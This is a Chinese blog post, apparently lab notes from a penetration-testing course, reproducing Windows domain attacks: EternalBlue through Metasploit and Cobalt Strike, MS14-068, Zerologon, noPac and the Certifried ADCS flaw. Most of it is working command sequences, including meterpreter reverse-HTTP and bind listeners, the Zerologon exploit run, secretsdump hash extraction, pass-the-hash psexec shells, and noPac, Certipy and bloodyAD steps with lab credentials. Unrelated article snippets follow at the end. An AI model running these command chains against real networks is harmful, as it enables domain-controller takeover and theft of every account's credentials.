133-横向移动域控提权NetLogonADCSPACKDC永恒之蓝

2024-08-23 06:44

本文主要是介绍133-横向移动域控提权NetLogonADCSPACKDC永恒之蓝,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

除了前面讲到的口令密码进行横向移动,还存在使用系统漏洞进行的横向移动的方式,本节课就是讲一些域内系统的漏洞,主要是域控提权的一些漏洞

1、横向移动-系统漏洞-CVE-2017-0146(ms17-010,永恒之蓝)

2、横向移动-域控提权-CVE-2014-6324

3、横向移动-域控提权-CVE-2020-1472(重点)

4、 横向移动-域控提权-CVE-2021-42287(重点)

5、横向移动-域控提权-CVE-2022-26923(重点)

1、横向移动-系统漏洞-CVE-2017-0146(ms17-010,永恒之蓝)

非常经典的系统漏洞,我第一次接触网络安全就是复现的这个漏洞

影响版本:

Windows 7 8.1 10; Windows Server 2008 2012 2016

随着新系统初始状态已经打上了补丁,漏洞利用将会越来越局限

复现:

使用cs联动msf

在云服务器上分别启动一个cs服务端和msf

先上传个木马上线cs再提权一下,我这里是提升至system权限

首先创建一个新的监听器,这里选择这个外部的http或者HTTPS都可以,ip地址填msf启动的IP地址,端口任意只要不冲突

然后msf

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 0.0.0.0

set lport 8088 (和前面设置的监听器保持一致)

run

然后点击新建会话选择msf,或者会话交互输入 spawn msf (监听器的名字)

确实cs4.5好像不可以。。。

换了4.7可以了,和前面一样的步骤

为什么要联动cs和msf因为cs的插件只支持漏洞的检测不支持漏洞的利用

run autoroute -p //查看当前路由表

run post/multi/manage/autoroute //添加当前路由表再查看当前路由表

确认了网段后就使用msf自带的漏洞扫描工具扫描一下

use auxiliary/scanner/smb/smb_ms17_010

set rhosts 192.168.3.21-32 //设置扫描目标段

set threads 5 //设置扫描线程数

run

加号就是存在漏洞,我这里的环境没有检测出漏洞。。。我记得之前我的虚拟机是有漏洞的奇怪。。。

利用msf17-010攻击(注意payload是正向还是反向,内网的可能不出网所以需要用正向连接的payload)

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp //正向连接上线

set rhost 192.168.3.25 //设置连接目标 #set rhosts 192.168.3.21-32 //设置扫描范围,批量检测与利用

run

成功了就会返回会话,看视频好像会失败可以多尝试几次

2、横向移动-域控提权-CVE-2014-6324

又名ms16-068 属于ptt攻击的利用

复现:看我之前的那个130那天的文章使用了这个。

3、横向移动-域控提权-CVE-2020-1472(重点)

复现:

漏洞背景

        未经身份验证的攻击者只需要能访问域控的135端口即可通过NetLogon远程协议连接域控并重置域控机器账户的hash,从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash(域控的机器账户默认具有DCSync权限),进而接管整个域

漏洞原理

        NetLogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭据的情况下通过认证。通过认证后,调用NetLogon协议中RPC函数NetrServerpasswordSet2来重置域控机器账户的Hash,进而接管全域

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows

Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core

installation) Windows Server 2012 Windows Server 2012 (Server Core

installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server

Core installation) Windows Server 2016 Windows Server 2016 (Server

Core installation) Windows Server 2019 Windows Server 2019 (Server

Core installation) Windows Server, version 1903 (Server Core

installation) Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

检测工具

http://github.com/WiIs0n/Zerologon_CVE-2020-1472

安装一下依赖包,然后使用方式很简单,指定一下机器名和ip地址,就可以检测出是否存在漏洞,不过在做代理的方式进行检测的时候会因为网络问题可能检测不出来。我就是一开始挂的代理检测检测不出来,然后直接将kali放到和靶机同一网段去检测就检测出来了

攻击工具

https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472-exploit.py 域控名 域控ip

这一步是讲目标域控主机中的密码清空

接下来使用impacket下的secretdump.py去获取域控机器的hash,这里我的kali升级了一下库的版本才可以使用

secretdump.py是之前在github上面下的

python3 secretsdump.py niganma.hhh/DC$@172.16.3.3 -no-pass

可以看到跑出了好多账号的hash值,有了hash就好办了,直接pth攻击

选择用域管理员的后一个hash进行,可以看到成功反弹回了shell

python psexec.py niganma.hhh/Administrator@172.16.3.3 -hashes :前面获取的域管理员hash

顺便了解一下netlogon

Netlogon组件是Windows上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。

Netlogon远程协议是一个可用的在Windows域控制器上的RPC(remote procedure call protocol,远程过程调用协议,允许像调用本地服务一样调用远程服务)接口,用于对域中的用户和其他服务进行身份验证,最常见的是方便用户使用NTLM(NTLAN Manager,问询/应答身份验证协议,telnet的一种验证身份方式)登录服务器协议,让计算机更新其域内的密码。其他机器与域控的Netlogon通讯使用RPC协议MS-NRPC(指定了Netlogon远程协议,基于域的网络上的用户和计算机进行身份验证)。

Netlogon协议不会使用与其他RPC服务相同的身份验证方案,而是使用自定义的加密协议,让客户端(加入域的计算机)和服务器(域管理员)互相证明它们都知道共享的机密(客户端计算机的哈希值密码)。

还有还原密码的步骤

python3 secretsdump.py niganma.hhh/administrator@172.16.3.3 -hashes :42e2656ec24331269f82160ff5962387 -no-pass

然后使用cve-2020-1472-exploit.py同一个文件下的这个恢复密码的py文件

参考文章

https://zhuanlan.wangan.com/p/1068

https://www.cnblogs.com/herbmint/p/13849135.html

https://zhuanlan.zhihu.com/p/494034459

4、 横向移动-域控提权-CVE-2021-42287(重点)

前提条件:一个域内的普通账号

影响版本:Windows基本全系列(未打补丁)

复现:

漏洞利用前提条件:知道一个普通用户的账号和密码

影响版本:Windows全版本

用的自己的虚拟机搭建的环境,一台Windowsserver2012 12-demo作为web出网,同样一台winser2102 DC 作为域控

先上线12-demo提权至adminitrator 然后做一下代理转发,本地也做一下代理实现本机可以访问内网。然后使用工具

https://github.com/cube0x0/noPac

此工具需要先编译一下,用vs studio就可以。

另外这里需要修改一下hosts文件,下面有些使用域名代替不修改跑到公网上面去找目标了。。。

然后可以先检测一下有没有漏洞

noPac scan -domain niganma.hhh -user user2 -pass QWEasd456

出现这个就意味着有漏洞

看一下票据信息。此时是没有建立任何链接的

此时尝试连接也是无效的(这个pstool是微软官方的工具包可以去官网下载)

noPac -domain niganma.hhh -user user2 -pass QWEasd456 /dc DC.niganma.hhh /mAccount abcd /mPassword aBcd!@# /service cifs /ptt

这个时候在查看klist

然后用psexec连接成功反弹shell

使用python脚本工具复现

https://github.com/WazeHell/sam-the-admin

我没有成功但是网上的文章,用的22年的kali成功了

python3 sam_the_admin.py niganma/'user2:QWEasd456' -dc-ip 172.16.3.3 -shell

可能是版本问题。。。

感觉这个漏洞很强大,知道一个普通用户就可以拿下权限666

有两种工具可以使用一个是https://github.com/cube0x0/noPac

和 https://github.com/WazeHell/sam-the-admin

一个是c的exe工具一个是python的脚本,前面复现使用的是exe版本进行的

5、横向移动-域控提权-CVE-2022-26923(重点)

又名ADCS攻击

复现:

项目地址:https://github.com/ly4k/Certipy

Certipy是一款基于Python开发的强大工具,该工具可以帮助广大研究人员枚举并利用活动目录证书服务(AD CS)中的错误配置项。

‘’概述

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。

影响

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

前提条件

一个域内普通用户的账号和密码

域内存在证书服务器

因为我的域控是没有开启这个服务的,先开启一下,同时拍个快照,因为这个实验会把里面的全部账号删除好像是

具体安装我也不知道对不对,反正选择这个服务一直下一步安装完,然后我还点击了那个配置,也是安装他的一直点下去

然后测试有没有开启

certutil -config - -ping

跳出这个就是成功了

然后记录一下前面的这些域内信息

172.16.3.3

user2 QWEasd456

niganma-DC-CA

DC.niganma.hhh

使用kali作为攻击机,修改一下/etc/hosts文件

把下载的工具Certipy-main先搞一下

python3 .\setup.py install

pip3 install certipy-ad

1、申请低权限用户证书

certipy req 'niganma.hhh/user2:QWEasd456@DC.niganma.hhh' -ca niganma-DC-CA -template User -debug

certipy req '172.16.3.3/user2:QWEasd456@user3winser2012@DC.niganma.hhh' -target-ip 172.16.3.3 -ca niganma-DC-CA -template User -debug

certipy req -username user2@niganma.hhh -password QWEasd456 -ca niganma-DC-CA -target DC.niganma.hhh -template User

我这里最后用了最后这个语句成功了,我看了下语句不一样是因为这个certipy的版本不同导致的,我这里是4.8.2

检测票据信息

certipy auth -pfx user2.pfx -dc-ip 172.16.3.3

配置bloodyAD

地址:GitHub - CravateRouge/bloodyAD: BloodyAD is an Active Directory Privilege Escalation Framework

pip3 install -r requirements.txt

安装的时候我遇到了很多问题,无论如何先更新

sudo apt-get update

sudo apt-get upgrade

如果再次尝试还有问题,主要是一个krb5的问题导致

apt-get install libkrb5-dev

如果重式还有问题

sudo apt-get install binutils

再重启系统再尝试

使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户

python3 bloodyAD.py -d niganma.hhh -u user2 -p QWEasd456 --host 172.16.3.3 get object "DC=niganma,DC=hhh"

慢慢玩明白这个脚本了,get 后面的参数改变了,根据报错提示看要输入的参数变成了什么

创建一个test66密码为jntm的机器账户

python3 bloodyAD.py -d 'niganma.hhh' -u 'user2' -p 'QWEasd456' --host '172.16.3.3' add computer test11 'niganma'

使用伪造的机器账户进行证书申请,因为在计算机账户中,CA是使用DNSname的值来验证,如果这个值是域控的DNSname,CA就会认为是域控,这里为什么说只用计算机账户而不用用户账户(test),是因为用户账户的具有一个用户主体名称UPN(User Principal Name),UPN是具有唯一性不可变的,而计算机账户没有

python3 bloodyAD.py -d 'niganma.hhh' -u 'user2' -p 'QWEasd456' --host '172.16.3.3' setAttribute 'CN=test11,CN=Computers,DC=niganma,DC=hhh' DNSHOSTName '["DC.niganma.hhh"]'

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName

废了,这个作者修改了脚本,但是没有修改wiki。。。这参数怎么填的。。。

看了半天源码也没搞出来这个参数怎填的。。。

这篇关于133-横向移动域控提权NetLogonADCSPACKDC永恒之蓝的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1098643

相关文章

我在移动打工的日志

客户:给我搞一下录音 我:不会。不在服务范围。 客户:是不想吧 我:笑嘻嘻(气笑) 客户:小姑娘明明会,却欺负老人 我:笑嘻嘻 客户:那我交话费 我:手机号 客户:给我搞录音 我:不会。不懂。没搞过。 客户:那我交话费 我:手机号。这是电信的啊!!我这是中国移动!! 客户:我不管,我要充话费,充话费是你们的 我:可是这是移动!!中国移动!! 客户:我这是手机号 我:那又如何,这是移动!你是电信!!

用Unity2D制作一个人物,实现移动、跳起、人物静止和动起来时的动画:中(人物移动、跳起、静止动作)

上回我们学到创建一个地形和一个人物,今天我们实现一下人物实现移动和跳起,依次点击,我们准备创建一个C#文件 创建好我们点击进去,就会跳转到我们的Vision Studio,然后输入这些代码 using UnityEngine;public class Move : MonoBehaviour // 定义一个名为Move的类,继承自MonoBehaviour{private Rigidbo

简单的角色响应鼠标而移动

actor类 //处理移动距离,核心是找到角色坐标在世界坐标的向量的投影(x,y,z),然后在世界坐标中合成,此CC是在地面行走,所以Y轴投影始终置为0; using UnityEngine; using System.Collections; public class actor : MonoBehaviour { public float speed=0.1f; CharacterCo

物联网之流水LED灯、正常流水灯、反复流水灯、移动流水灯

MENU 硬件电路设计软件程序设计正常流水LED灯反复流水LED灯移动流水LED灯 硬件电路设计 材料名称数量直插式LED1kΩ电阻杜邦线(跳线)若干面包板1 每一个LED的正极与开发板一个GPIO引脚相连,并串联一个电阻,负极接GND。 当然也可以选择只使用一个电阻。 软件程序设计 正常流水LED灯 因为要用到多个GPIO引脚,所以最好把所有的GPI

12C 新特性,MOVE DATAFILE 在线移动 包括system, 附带改名 NID ,cdb_data_files视图坏了

ALTER DATABASE MOVE DATAFILE  可以改名 可以move file,全部一个命令。 resue 可以重用,keep好像不生效!!! system照移动不误-------- SQL> select file_name, status, online_status from dba_data_files where tablespace_name='SYSTEM'

linux 内核提权总结(demo+exp分析) -- 任意读写(四)

hijack_modprobe_path篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm     原理同hijack_prctl, 当用户执行错误格式的elf文件时内核调用call_usermod

linux 内核提权总结(demo+exp分析) -- 任意读写(三)

hijack_prctl篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   prctl函数: 用户态函数,可用于定制进程参数,非常适合和内核进行交互 用户态执行prctl函数后触发prctl系统

linux 内核提权总结(demo+exp分析) -- 任意读写(二)

hijack_vdso篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm     vdso: 内核实现的一个动态库,存在于内核,然后映射到用户态空间,可由用户态直接调用 内核中的vdso如果被修改

linux 内核提权总结(demo+exp分析) -- 任意读写(一)

cred篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   每个线程在内核中都对应一个线程结构块thread_infothread_info中存在task_struct类型结构体 struct t

linux 内核提权总结(demo+exp分析) -- ROP(二)

ret2usr CR4篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码 内核通过CR4寄存器的第20位来控制smep,